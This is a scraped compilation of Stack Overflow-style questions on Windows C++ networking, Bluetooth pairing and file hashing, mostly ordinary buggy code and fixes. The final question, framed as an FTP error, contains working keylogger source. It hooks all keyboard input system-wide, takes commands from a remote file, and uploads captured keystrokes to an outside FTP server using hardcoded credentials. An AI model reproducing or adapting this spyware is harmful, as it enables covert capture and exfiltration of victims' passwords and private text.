error C1083 visual studio 2013 for winsock server - visual-studio-2013

i'm new at this website.
i searched a lot for a solution but i didn't find nothing about it.
i programmed a server and a client on another project and it was working but i wanted to re-program it to have a better results.
but i dunno why i have some errors: error C1083: impossible to open: 'Debug\chatserver.pch': No such file or directory c:\users\x\documents\visual studio 2013\projects\chatserver\chatserver\chatserver.cpp
before this error, i had another error on 'itoa' function: C4996 'itoa' POSIX ...
(itoa function was working on my 1st server project)
also i had error on LNK 2011 to .obj
this is the code:
#include "stdafx.h"
#include <WinSock2.h>
#include <Windows.h>
#include <iostream>
#include <ws2tcpip.h>
#include <iphlpapi.h>
#include <cstdlib>
#ifndef WIN32_LEAN_AND_MEAN
#define WIN32_LEAN_AND_MEAN
#endif
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_PORT "27015"
using namespace std;
SOCKET ListenSocket = INVALID_SOCKET;
SOCKET ClientSocket;
SOCKET* Connessioni;
int nConn = 0;
struct Buffer
{
int ID;
char nickname[20];
char messaggio[1024];
};
int ServerThread(int ID)
{
Buffer buff;
char* Recv = new char[1024];
char* Pnick = new char[20];
char* Send = new char[1024];
Recv = NULL;
Pnick = NULL;
Send = NULL;
for (;;){
if (recv(Connessioni[ID], Recv, 1024, NULL) && recv(Connessioni[ID], Pnick, 20, NULL))
buff.ID = ID;
memcpy(buff.nickname, Pnick, 1024);
memcpy(buff.messaggio, Recv, 1024);
memcpy(Send, &buff, sizeof(Buffer));
for (int i = 0; i != nConn; i++)
{
if (Connessioni[i] == Connessioni[ID])
{
}
else{
send(Connessioni[i], Send, sizeof(Buffer), NULL);
}
}
delete Recv;
delete Send;
delete Pnick;
delete &Recv;
delete &Send;
delete &Pnick;
}
return 0;
}
int InitWinSock()
{
int RetVal = 0;
WSAData wsaData;
WORD DllVersion = MAKEWORD(2, 2);
RetVal = WSAStartup(DllVersion, &wsaData);
if (RetVal != 0)
MessageBoxA(NULL, "WSA error, please retry", "Error", MB_OK | MB_ICONERROR);
return RetVal;
}
int main()
{
struct addrinfo *result = NULL, *ptr = NULL, hints;
ZeroMemory(&hints, sizeof (hints));
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
hints.ai_flags = AI_PASSIVE;
int controllo_struct = getaddrinfo(NULL,DEFAULT_PORT, &hints, &result);
if (controllo_struct != 0)
{
MessageBoxA(NULL, "getinfo failes \n", "Error", MB_OK | MB_ICONERROR);
WSACleanup();
return 1;
}
ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
if (ListenSocket == INVALID_SOCKET)
{
MessageBoxA(NULL, "Error at Socket, please retry \n", "Error", MB_OK | MB_ICONERROR);
freeaddrinfo(result);
WSACleanup();
}
int controllo_bind = bind(ListenSocket,result->ai_addr,(int)result->ai_addrlen);
if (controllo_bind == SOCKET_ERROR)
{
MessageBoxA(NULL, "bind ha fallito \n", "Error", MB_OK | MB_ICONERROR);
cout << WSAGetLastError() << endl;
freeaddrinfo(result);
closesocket(ListenSocket);
WSACleanup();
return 1;
}
freeaddrinfo(result);
if (listen(ListenSocket, SOMAXCONN) == SOCKET_ERROR){
MessageBoxA(NULL, "Listen ha fallito \n", "Error", MB_OK | MB_ICONERROR);
cout << WSAGetLastError() << endl;
closesocket(ListenSocket);
return 1;
}
ClientSocket = INVALID_SOCKET;
int addrlen = sizeof(hints);
for (;;){
if (ClientSocket = accept(ListenSocket, (SOCKADDR*)&hints, &addrlen))
Connessioni = (SOCKET*)calloc(SOMAXCONN, sizeof(hints));
cout << "connessione accettata " << endl;
Connessioni[nConn] = ClientSocket;
char* nickname = new char[20];
ZeroMemory(nickname, sizeof(nickname));
//itoa(nConn,nickname,10);
//nickname = (char*)nConn;
send(Connessioni[nConn], nickname, sizeof(nickname), NULL);
++nConn;
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)ServerThread, (LPVOID)(nConn - 1), NULL, NULL);
delete nickname;
}
return 0;
}

RESOLVED:
DISABLED: "PRECOMPILED HEADER"
on c/c++ -> all options ->> "precompiled header (selected: NO)

Related

Migrating Winsock console application to Windows subsystem - stack overflow

Hey there wonderful community!
I'm back with a question regarding a console server application I've made with winsock. It's finally reaching a stage where I would need a to add a GUI, and to do so, I need it to be using the Windows subsystem.
And so I started the migration.
Yet I'm hitting a stack overflow somewhere in my application, and for the life of me I can't figure out where. Perhaps it has to do with WIN being a non-blocking subsystem (hope I used my vocab correctly).
Anyway, I hope to enlist you all as helpers. Many thanks :)
#undef UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdlib.h>
#include <stdio.h>
#include <iostream>
#include <string>
#include <conio.h>
// Need to link with Ws2_32.lib
#pragma comment (lib, "Ws2_32.lib")
// #pragma comment (lib, "Mswsock.lib")
int minitialize();
int msend(char msendbuf[512]);
char* mrecv(bool show);
int mshutdown();
void GoToXY(int column, int line);
int scroll(void);
int printm(char *inp);
int printm(char *inp, DWORD color);
int mexit();
char *vir = "true";
int clientnumber=0;
int currentclient=0;
int lastclient=0;
#define DEFAULT_BUFLEN 512
#define DEFAULT_PORT "10150"
struct _client
{
bool con;
sockaddr_in addr; //Client info like ip address
SOCKET cs; //Client socket
fd_set set; //used to check if there is data in the socket
std::string ip;
std::string name;
int i; //any piece of additional info
} client[100];
WSADATA wsaData;
int iResult;
SOCKET ListenSocket = INVALID_SOCKET;
SOCKET ClientSocket = INVALID_SOCKET;
struct addrinfo *result = NULL;
struct addrinfo hints;
int iSendResult;
char recvbuf[DEFAULT_BUFLEN];
int recvbuflen = DEFAULT_BUFLEN;
DWORD WINAPI recvfunc(LPVOID randparam)
{
while (true) {
ClientSocket=client[currentclient].cs;
if (mrecv(true)=="1") {
client[currentclient].con=false;
ClientSocket=client[lastclient].cs;
break;
}
}
return 0;
}
DWORD WINAPI headerfunc(LPVOID randparam)
{
Sleep(500);
while (true) {
CONSOLE_SCREEN_BUFFER_INFO SBInfo;
HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE);
GetConsoleScreenBufferInfo(hOut, &SBInfo);
int xx = SBInfo.dwCursorPosition.X;
int yy = SBInfo.dwCursorPosition.Y;
GoToXY(0,0);
HANDLE hHeaderColor;
hHeaderColor = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTextAttribute(hHeaderColor, FOREGROUND_GREEN);
std::cout<<"Server Started. Current Client:"<<currentclient<<" Clients connected: "<<clientnumber<<" ("<<xx<<","<<yy<<") "<<lastclient;
SetConsoleTextAttribute(hHeaderColor, 0 |
FOREGROUND_RED |
FOREGROUND_GREEN |
FOREGROUND_BLUE);
GoToXY(xx,yy);
Sleep(2000);
}
return 0;
}
DWORD WINAPI sendfunc(LPVOID randparam)
{
while (true) {
char mmessage[512];
std::cin.getline(mmessage, 512);
if (strlen(mmessage)<2) {
GoToXY(0,23);
sendfunc("1");
}
char msendbuf[512]="Server> ";
strcat(msendbuf,mmessage);
if (msend(msendbuf)==1) {
"Client must have disconnected. Please select a new client.";
sendfunc("1");
}
if ((strncmp(msendbuf,"Server> /",9)) != 0) {
printm(msendbuf,FOREGROUND_INTENSITY);
}
GoToXY(0,23);
for (int sp=0; sp<72; sp++) {
std::cout<<" ";
}
GoToXY(0,23);
}
return 0;
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow)
{
minitialize();
HANDLE hRecvThread;
HANDLE hSendThread;
HANDLE hHeaderThread;
DWORD dwRecvThreadId;
DWORD dwSendThreadId;
DWORD dwHeaderThreadId;
hHeaderThread = CreateThread(NULL,0,headerfunc,"1",0,&dwHeaderThreadId);
for (int mf=2; mf<25; mf++) {
std::cout<<"\n";
}
hSendThread = CreateThread(NULL,0,sendfunc,"1",0,&dwSendThreadId);
// Accept a client socket
for (int sock=1; sock<100; sock++) {
ClientSocket = accept(ListenSocket, NULL, NULL);
char sockprint[80];
char sockchar[4];
itoa(sock,sockchar,10);
strcpy(sockprint,"Client ");
strcat(sockprint,sockchar);
strcat(sockprint," connected.");
printm(sockprint);
GoToXY(0,23);
if (ClientSocket == INVALID_SOCKET) {
printm("accept failed with error: %d\n", WSAGetLastError());
closesocket(ListenSocket);
WSACleanup();
return 1;
}
client[sock].cs=ClientSocket;
client[sock].con=true;
lastclient=clientnumber;
clientnumber++;
currentclient=clientnumber;
hRecvThread = CreateThread(NULL,0,recvfunc,"1",0,&dwRecvThreadId);
}
// shutdown the connection since we're done
mshutdown();
std::cin.ignore();
return 0;
}
int printm(char *inp, DWORD color) {
HANDLE hOut;
hOut = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTextAttribute(hOut,
color);
printm(inp);
SetConsoleTextAttribute(hOut, 0 |
FOREGROUND_RED |
FOREGROUND_GREEN |
FOREGROUND_BLUE);
return 0;
}
int printm(char *inp) {
CONSOLE_SCREEN_BUFFER_INFO SBInfo;
HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE);
GetConsoleScreenBufferInfo(hOut, &SBInfo);
int xx = SBInfo.dwCursorPosition.X;
int yy = SBInfo.dwCursorPosition.Y;
GoToXY(0,22);
std::cout<<inp<<"\n";
scroll();
GoToXY(xx,yy);
return 1;
}
int msend(char msendbuf[512]) // Send a message
{
if (strncmp(msendbuf,"Server> /exit",(strlen(msendbuf))) == 0) {
mexit();
}
if (strncmp(msendbuf,"Server> /set_client",19) == 0) {
int nm=atoi(&msendbuf[20]);
currentclient=nm;
ClientSocket=client[nm].cs;
char sockchar[4];
itoa(ClientSocket,sockchar,10);
char sockprint[80];
strcpy(sockprint,"New Socket: ");
strcat(sockprint,sockchar);
printm(sockprint);
char clientprint[80];
strcpy(clientprint,"Client: ");
strcat(clientprint,&msendbuf[20]);
printm(clientprint);
}
if (strncmp(msendbuf,"Server> /list_clients",(strlen(msendbuf))) == 0) {
printm("Clients:",FOREGROUND_RED);
for (int cm=1; cm < 100; cm++) {
int cn=client[cm].cs;
if (cn>0) {
char cli[80];
char cmchar[4];
char cnchar[80];
itoa(cn,cnchar,10);
itoa(cm,cmchar,10);
strcpy(cli,cmchar);
strcat(cli," ");
strcat(cli,cnchar);
strcat(cli," ");
strcat(cli,client[cm].ip.c_str());
strcat(cli," ");
strcat(cli,client[cm].name.c_str());
printm(cli,FOREGROUND_RED);
}
else {
break;
}
}
}
if (strncmp(msendbuf,"Server> /test",(strlen(msendbuf))) == 0) {
char ipcon[500];
*ipcon=(system("ipconfig"));
}
if (strncmp(msendbuf,"Server> /help",(strlen(msendbuf))) == 0) {
printm("Type /help for help or:");
printm("/set_client [client number]");
printm("/list_clients");
}
int iResult3 = send( ClientSocket, msendbuf, 512, 0 );
if (iResult3 == SOCKET_ERROR) {
printm("send failed with error: %d\n", WSAGetLastError());
return 1;
}
}
char* mrecv(bool show) //Recieve a message
{
int iResult2 = recv(ClientSocket, recvbuf, 512, 0);
if (iResult2 > 0) {
if ((strncmp(recvbuf,"/",1)) != 0) {
printm(recvbuf);
}
if (strncmp(recvbuf,"/ip",3) == 0) {
client[clientnumber].ip=&recvbuf[4];
char prin[80];
strcpy(prin,"client[clientnumber].ip: ");
strcat(prin,client[clientnumber].ip.c_str());
printm(prin,FOREGROUND_BLUE);
}
if (strncmp(recvbuf,"/name",5) == 0) {
client[clientnumber].name=&recvbuf[6];
char prin2[80];
strcpy(prin2,"client[clientnumber].name: ");
strcat(prin2,client[clientnumber].name.c_str());
printm(prin2,FOREGROUND_GREEN | FOREGROUND_BLUE);
}
if (strncmp(recvbuf,"/alert",5) == 0) {
char *message=&recvbuf[7];
char prin2[80];
strcpy(prin2,client[clientnumber].name.c_str());
strcat(prin2,": ");
strcat(prin2, message);
printm(prin2,FOREGROUND_RED);
}
if (strncmp(recvbuf,"Client> /alert",14) == 0) {
char *message=&recvbuf[15];
char prin2[80];
strcpy(prin2,client[clientnumber].name.c_str());
strcat(prin2,": ");
strcat(prin2, message);
printm(prin2,FOREGROUND_RED);
}
}
else if (iResult2 == 0) {
printf("Connection closing...\n");
closesocket(ClientSocket);
WSACleanup();
return "1";
}
else {
printm("recv failed with error: %d\n", WSAGetLastError());
printm("Client must have disconnected. Please select a new client.");
return "1";
}
return recvbuf;
}
int minitialize() //initialize the winsock server
{
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
if (iResult != 0) {
printm("WSAStartup failed with error: %d\n", iResult);
return 1;
}
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
hints.ai_flags = AI_PASSIVE;
// Resolve the server address and port
iResult = getaddrinfo(NULL, DEFAULT_PORT, &hints, &result);
if ( iResult != 0 ) {
printm("getaddrinfo failed with error: %d\n", iResult);
WSACleanup();
return 1;
}
// Create a SOCKET for connecting to server
ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
if (ListenSocket == INVALID_SOCKET) {
printm("socket failed with error: %ld\n", WSAGetLastError());
freeaddrinfo(result);
WSACleanup();
return 1;
}
// Setup the TCP listening socket
iResult = bind( ListenSocket, result->ai_addr, (int)result->ai_addrlen);
if (iResult == SOCKET_ERROR) {
printm("bind failed with error: %d\n", WSAGetLastError());
freeaddrinfo(result);
closesocket(ListenSocket);
WSACleanup();
return 1;
}
freeaddrinfo(result);
iResult = listen(ListenSocket, SOMAXCONN);
if (iResult == SOCKET_ERROR) {
printm("listen failed with error: %d\n", WSAGetLastError());
closesocket(ListenSocket);
WSACleanup();
return 1;
}
unsigned long b=1;
ioctlsocket(ClientSocket,FIONBIO,&b);
}
int mshutdown() //shutdown the server
{
iResult = shutdown(ClientSocket, SD_SEND);
if (iResult == SOCKET_ERROR) {
printm("shutdown failed with error: %d\n", WSAGetLastError());
closesocket(ClientSocket);
WSACleanup();
return 1;
}
// cleanup
closesocket(ClientSocket);
WSACleanup();
return 0;
}
void GoToXY(int column, int line)
{
// Create a COORD structure and fill in its members.
// This specifies the new position of the cursor that we will set.
COORD coord;
coord.X = column;
coord.Y = line;
// Obtain a handle to the console screen buffer.
// (You're just using the standard console, so you can use STD_OUTPUT_HANDLE
// in conjunction with the GetStdHandle() to retrieve the handle.)
// Note that because it is a standard handle, we don't need to close it.
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
// Finally, call the SetConsoleCursorPosition function.
if (!SetConsoleCursorPosition(hConsole, coord))
{
// Uh-oh! The function call failed, so you need to handle the error.
// You can call GetLastError() to get a more specific error code.
// ...
return;
}
}
int scroll( void )
{
HANDLE hStdout;
CONSOLE_SCREEN_BUFFER_INFO csbiInfo;
SMALL_RECT srctScrollRect, srctClipRect;
CHAR_INFO chiFill;
COORD coordDest;
hStdout = GetStdHandle(STD_OUTPUT_HANDLE);
if (hStdout == INVALID_HANDLE_VALUE)
{
printf("GetStdHandle failed with %d\n", GetLastError());
return 1;
}
// Get the screen buffer size.
if (!GetConsoleScreenBufferInfo(hStdout, &csbiInfo))
{
printf("GetConsoleScreenBufferInfo failed %d\n", GetLastError());
return 1;
}
// The scrolling rectangle
srctScrollRect.Top = 1;
srctScrollRect.Bottom = 22;
srctScrollRect.Left = 0;
srctScrollRect.Right = csbiInfo.dwSize.X - 1;
// The destination for the scroll rectangle is one row up.
coordDest.X = 0;
coordDest.Y = 0;
// The clipping rectangle
srctClipRect.Top = 2;
srctClipRect.Bottom = 22;
srctClipRect.Left = 0;
srctClipRect.Right = csbiInfo.dwSize.X - 1;
// Fill the bottom row with blanks.
chiFill.Attributes = FOREGROUND_RED;
chiFill.Char.AsciiChar = (char)' ';
// Scroll up one line.
if(!ScrollConsoleScreenBuffer(
hStdout, // screen buffer handle
&srctScrollRect, // scrolling rectangle
&srctClipRect, // clipping rectangle
coordDest, // top left destination cell
&chiFill)) // fill character and color
{
printf("ScrollConsoleScreenBuffer failed %d\n", GetLastError());
return 1;
}
return 0;
}
int mexit()
{
msend("/server_closed");
mshutdown();
exit(0);
}
Turns out it was the recursive calling in my "sendfunc" thread that tripped me up.
Specifically,
if (msend(msendbuf)==1) {
"Client must have disconnected. Please select a new client.";
sendfunc("1");
}
Because I continued to call "sendfunc" from itself, it caused the stack overflow.
So, for anyone else having these problems, watch for overkill recursive function calls.
I simply removed my sending function and I was good to go.

Trying to pair Bluetooth with Windows 7 API return Timeout (Code 258)

I am trying to replace the Windows Bluetooth pairing. I found some code that was suppose to do this, and I mostly mimiced that code. Although, when I run the code which is below I always get a 258 error code.
Below is the code that does the actual pairing.
#include <stdio.h>
#include <tchar.h>
#include <stdlib.h>
#include <initguid.h>
#include <winsock2.h>
#include <ws2bth.h>
#include <BluetoothAPIs.h>
bool BluetoothAuthCallback(LPVOID pvParam, PBLUETOOTH_AUTHENTICATION_CALLBACK_PARAMS pAuthCallbackParams)
{
DWORD dwRet;
fprintf(stderr, "BluetoothAuthCallback 0x%x\n", pAuthCallbackParams->deviceInfo.Address.ullLong);
dwRet = BluetoothSendAuthenticationResponse(NULL, &(pAuthCallbackParams->deviceInfo), L"1234");
if(dwRet != ERROR_SUCCESS)
{
fprintf(stderr, "BluetoothSendAuthenticationResponse ret %d\n", dwRet);
ExitProcess(2);
return 1;
}
fprintf(stderr, "BluetoothAuthCallback finish\n");
ExitProcess(0);
return 1;
}
int _tmain(int argc, _TCHAR* argv[])
{
SOCKADDR_BTH sa = { 0 };
int sa_len = sizeof(sa);
DWORD dwRet;
BLUETOOTH_DEVICE_INFO btdi = {0};
HBLUETOOTH_AUTHENTICATION_REGISTRATION hRegHandle = 0;
// initialize windows sockets
WORD wVersionRequested;
WSADATA wsaData;
wVersionRequested = MAKEWORD( 2, 0 );
if( WSAStartup( wVersionRequested, &wsaData ) != 0 ) {
ExitProcess(2);
}
// parse the specified Bluetooth address
if( argc < 2 ) {
fprintf(stderr, "usage: rfcomm-client <addr>\n"
"\n addr must be in the form (XX:XX:XX:XX:XX:XX)");
ExitProcess(2);
}
if( SOCKET_ERROR == WSAStringToAddress( argv[1], AF_BTH,
NULL, (LPSOCKADDR) &sa, &sa_len ) ) {
ExitProcess(2);
}
btdi.dwSize = sizeof(BLUETOOTH_DEVICE_INFO);
btdi.Address.ullLong = sa.btAddr;
btdi.ulClassofDevice = 0;
btdi.fConnected = false;
btdi.fRemembered = false;
btdi.fAuthenticated = false;
dwRet = BluetoothRegisterForAuthenticationEx(&btdi, &hRegHandle, (PFN_AUTHENTICATION_CALLBACK_EX)&BluetoothAuthCallback, NULL);
if(dwRet != ERROR_SUCCESS)
{
fprintf(stderr, "BluetoothRegisterForAuthenticationEx ret %d\n", dwRet);
ExitProcess(2);
}
dwRet = BluetoothAuthenticateDeviceEx(NULL, NULL, &btdi, NULL,MITMProtectionNotRequired);
if(dwRet != ERROR_SUCCESS)
{
fprintf(stderr, "BluetoothAuthenticateDevice ret %d\n", dwRet);
ExitProcess(2);
}
Sleep(1000);
fprintf(stderr, "pairing finish\n");
ExitProcess(0);
return 0;
}
Below this is how I find the address to pass into the pairing application.
// BluetoothAddressFinder.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <initguid.h>
#include <winsock2.h>
#include <ws2bth.h>
#include <BluetoothAPIs.h>
int _tmain(int argc, _TCHAR* argv[])
{
BLUETOOTH_RADIO_INFO m_bt_info = {sizeof(BLUETOOTH_RADIO_INFO),0,};
BLUETOOTH_FIND_RADIO_PARAMS m_bt_find_radio = {sizeof(BLUETOOTH_FIND_RADIO_PARAMS)};
BLUETOOTH_DEVICE_INFO m_device_info = {sizeof(BLUETOOTH_DEVICE_INFO),0,};
BLUETOOTH_DEVICE_SEARCH_PARAMS m_search_params = {
sizeof(BLUETOOTH_DEVICE_SEARCH_PARAMS),
1, 0,
1,1,1,15,NULL
};
HANDLE m_radio = NULL;
HBLUETOOTH_RADIO_FIND m_bt = NULL;
HBLUETOOTH_DEVICE_FIND m_bt_dev = NULL;
int m_radio_id;
DWORD mbtinfo_ret;
int tempNumberOfDevices = 0;
m_bt = BluetoothFindFirstRadio(&m_bt_find_radio, &m_radio);
m_radio_id = 0;
do {
// Then get the radio device info....
mbtinfo_ret = BluetoothGetRadioInfo(m_radio, &m_bt_info);
// If there was an issue with the current radio check the next radio
if(mbtinfo_ret != ERROR_SUCCESS)
continue;
m_search_params.hRadio = m_radio;
ZeroMemory(&m_device_info, sizeof(BLUETOOTH_DEVICE_INFO));
m_device_info.dwSize = sizeof(BLUETOOTH_DEVICE_INFO);
// Next for every radio, get the device
m_bt_dev = BluetoothFindFirstDevice(&m_search_params, &m_device_info);
// Get the device info
do {
tempNumberOfDevices+=1;
fprintf(stdout, "Device name: %S Device Address: %d:%d:%d:%d:%d:%d \n" ,m_device_info.szName,m_device_info.Address.rgBytes[5],m_device_info.Address.rgBytes[4], m_device_info.Address.rgBytes[3], m_device_info.Address.rgBytes[2], m_device_info.Address.rgBytes[1], m_device_info.Address.rgBytes[0] );
} while(BluetoothFindNextDevice(m_bt_dev, &m_device_info));
} while(BluetoothFindNextRadio(&m_bt_find_radio, &m_radio));
}

computing hashValue of a file

Small piece of code I wrote to list files in a dummy directory and then calculate the hash values.
But when I pass the filename to the calc_hash function , program terminates after computing the hash of two files... with error Unhandled exception at 0x77406850 in hashtest3-cpp.exe: 0xC0000005: Access violation writing location 0x64333782.
Can someone please point out the error ....
code snippet::
#include <stdio.h>
#include <windows.h>
#include <Wincrypt.h>
#include <strsafe.h>
#include <string.h>
#include <tchar.h>
#include <iostream>
using namespace std;
#define BUFSIZE 1024
#define MD5LEN 16
//======================================================VARIABLE INITIALIZATION
DWORD Status = 0;
BOOL bResult = FALSE;
ULONG_PTR hProv = 0;
ULONG_PTR hHash = 0;
HANDLE hFile = NULL;
DWORD i;
DWORD j=0;
BYTE rgbFile[BUFSIZE];
DWORD cbRead = 0;
BYTE rgbHash[MD5LEN];
DWORD cbHash = 0;
LPTSTR filename;
CHAR resultstream[33];
HANDLE hFind;
WIN32_FIND_DATA data;
TCHAR filepath[260] = _T("");
LPWSTR FNAME;
LPWSTR FULLPATH = L"c:\\test\\";
LPWSTR dir = L"c:\\test\\*.*";
LPWSTR DEFAULt = L"";
CHAR rgbDigits[] = "0123456789abcdef";
//=====================================================FUNCTION DECLARATION
void list_files(void);
void calc_hash(void);
//======================================================MAIN START
int main()
{
list_files();
//calc_hash();
getchar();
return 0;
}
//======================================================LISTING FILES IN A DIRECTORY
void list_files()
{
hFind = FindFirstFile(dir, &data);
if (hFind != INVALID_HANDLE_VALUE)
{
do
{
StringCchCopy(filepath, 260, DEFAULt);
resultstream[33] = '\0';
DWORD j=0;
FNAME = data.cFileName;
StringCchCat(filepath, 260, FULLPATH);
StringCchCat(filepath, 260, FNAME);
filename = (LPTSTR)filepath;
printf("\n%ws", filename);
/*calc_hash();
getchar();*/
continue;
}while (FindNextFile(hFind, &data));
}
getchar();
}
//======================================================HASH OF A FILE
void calc_hash()
{
hFile = CreateFile(
filename,
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_FLAG_SEQUENTIAL_SCAN,
NULL
);
if (INVALID_HANDLE_VALUE == hFile)
{
Status = GetLastError();
//printf("\nerror opening file::%d", Status);
goto end;
}
// Get handle to the crypto provider
if (!CryptAcquireContext(
&hProv,
NULL,
NULL,
PROV_RSA_FULL,
CRYPT_VERIFYCONTEXT))
{
Status = GetLastError();
printf("CryptAcquireContext error:: %d\n", Status);
CloseHandle(hFile);
getchar();
goto end;
}
if (!CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash))
{
Status = GetLastError();
printf("CryptAcquireContext error:: %d\n", Status);
CloseHandle(hFile);
CryptReleaseContext(hProv, 0);
getchar();
goto end;
}
while (bResult = ReadFile(hFile, rgbFile, BUFSIZE, &cbRead, NULL))
{
if (0 == cbRead)
{
break;
}
if (!CryptHashData(hHash, rgbFile, cbRead, 0))
{
Status = GetLastError();
printf("CryptHashData error:: %d\n", Status);
CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CloseHandle(hFile);
getchar();
goto end;
}
}
//================================GENERATING RESULT=============================
if (!bResult)
{
Status = GetLastError();
printf("ReadFile error:%S:: %d\n",filename, Status);
CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CloseHandle(hFile);
getchar();
goto end;
}
cbHash = MD5LEN;
if (CryptGetHashParam(hHash, HP_HASHVAL, rgbHash, &cbHash, 0))
{
printf("MD5 hash of file %ws is:- ", filename);
for (i = 0; i < cbHash; i++)
{
resultstream[j]=rgbDigits[rgbHash[i] >> 4];
j++;
resultstream[j]=rgbDigits[rgbHash[i] & 0xf];
j++;
}
resultstream[j] = '\0';
printf("\n%s", resultstream );
printf("\n");
}
else
{
Status = GetLastError();
printf("CryptGetHashParam error:: %d\n", Status);
}
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, 0);
CloseHandle(hFile);
end:;
//getchar();
}
The problem is you declare resultstream as
CHAR resultstream[33];
but then you use in your code
resultstream[33] = '\0';
The resultstream array is 0 indexed so valid values are 0-32, you are accessing memory not allocated for that array (hence the "Access violation")

Wininet error 12003 ftpOpenFile

I am trying to write a file to a drivehq.com server. The file does not exist on local disk, nor on the ftp server, so does FtpOpenFile Create a file for me automatically?
I am getting error 12003 and I don't know what to do..
The Error Happens in case continue:
#include <iostream>
#include <windows.h>
#include <process.h>
#include <string>
#include <Wininet.h>
#include <vector>
#include <map>
#include <ctime>
using std::string;
using std::cout;
using std::cin;
using std::vector;
using std::map;
unsigned int __stdcall keylogthreadhook(void *);
LRESULT CALLBACK LowLevelKeyboardProc(int, WPARAM, LPARAM);
string gettime();
enum COMMAND{CONTINUE, PAUSE, KILL};
map<string, COMMAND> cmds;
DWORD err;
char error[4096];
string tempkeylog_buffer;
char ftpreadbuffer[1024]{};
vector<string> filetokens;
unsigned int threadid = 0;
DWORD numberread = 0, numberwritten = 0;
bool killswitch = true;
int main(){
cmds["CONTINUE"] = CONTINUE;
cmds["PAUSE"] = PAUSE;
cmds["KILL"] = KILL;
_beginthreadex(NULL, 0, &keylogthreadhook, NULL, 0, &threadid);
while(killswitch){
HINTERNET connection = InternetOpen("Keyclient", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL,0);
cout << GetLastError();
HINTERNET ftpinstance = InternetConnect(connection, "ftp.drivehq.com", INTERNET_DEFAULT_FTP_PORT, "ludibrium", "22073kk", INTERNET_SERVICE_FTP, NULL, NULL);
cout << GetLastError();
HINTERNET filehandle = FtpOpenFile(ftpinstance, "command.txt", GENERIC_READ, FTP_TRANSFER_TYPE_ASCII, NULL);
//cout << GetLastError();
InternetReadFile(filehandle, ftpreadbuffer, 1024, &numberread);
//InternetWriteFile(filehandle, tempkeylog_buffer.c_str(), tempkeylog_buffer.size(), &numberwritten);
cout << GetLastError();
InternetCloseHandle(filehandle);
//InternetCloseHandle(ftpinstance);
//cout << ftpreadbuffer;
//cout << "\n" << numberread;
string temporarystr;
cout << ftpreadbuffer;
//cout <<reinterpret_cast<char *>(ftpreadbuffer);
for(int i = 0; ftpreadbuffer[i] != '.'; i++){
//cout << ftpreadbuffer[i];
if(ftpreadbuffer[i] == '\n'){
filetokens.push_back(temporarystr);
temporarystr.clear();
}
temporarystr.push_back(ftpreadbuffer[i]);
}
cout << filetokens[0].c_str() << filetokens[1].c_str();
cin.get();
map<string, COMMAND>::iterator i = cmds.find(filetokens[0].c_str());
switch(i->second){
case CONTINUE:{
// HINTERNET ftpinstance = InternetConnect(connection, "ftp.drivehq.com", INTERNET_DEFAULT_FTP_PORT, "ludibrium", "22073kk", INTERNET_SERVICE_FTP, NULL, NULL);
//cout << GetLastError() << "\n";
string time = gettime();
time.append(".txt");
cout << time;
HINTERNET newftplog = FtpOpenFile(ftpinstance, time.c_str(),GENERIC_WRITE, FTP_TRANSFER_TYPE_ASCII, 0);
cout << GetLastError() << "\n";
InternetWriteFile(newftplog, tempkeylog_buffer.c_str(), tempkeylog_buffer.size(), &numberwritten);
cout << GetLastError() << "\n";
InternetCloseHandle(newftplog);
InternetCloseHandle(ftpinstance);
cout << GetLastError() << "\n";
tempkeylog_buffer.clear();
cin.get();
Sleep(atoi(filetokens[1].c_str()));
//Upload ftp log to ftp server and sleep x seconds.
}break;
case PAUSE:{
Sleep(atoi(filetokens[1].c_str()));
//Pause the hooking thread, flip a switch so if pause remains the same we dont kill a non existant thread, and keep looping
}break;
case KILL:{
//return 0 or killswitch = false;
}break;
}
}
return 0;
}
unsigned int __stdcall keylogthreadhook(void *){
HINSTANCE hinst = GetModuleHandle(NULL);
HHOOK hhkLowLevelKybd = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hinst, 0);
MSG msg;
//MessageBox(NULL, "entered", NULL, NULL);
while(GetMessage(&msg, NULL, 0, 0)){
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(hhkLowLevelKybd);
}
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam){
PKBDLLHOOKSTRUCT structdll = (PKBDLLHOOKSTRUCT) lParam;
switch(nCode){
case HC_ACTION:
switch(wParam){
case WM_KEYDOWN:{
//How should i change the following lines?
char buffer[256]{};
GetKeyNameText((MapVirtualKey(structdll->vkCode, 0)<<16), buffer, 50);
//use this?: ToAscii(structdll->vkCode, structdll->scanCode, NULL, myword, 0);
tempkeylog_buffer.append(buffer);
}
break;
}
break;
}
return CallNextHookEx(NULL, nCode, wParam,lParam);
}
string gettime(){
time_t rawtime;
time ( &rawtime );
string s = ctime(&rawtime);
//cut off \n at the end of string (why the fuck do they even do that?)
s = s.substr(0, s.size()-1);
return s;
}

Why can't people connect to my server app?

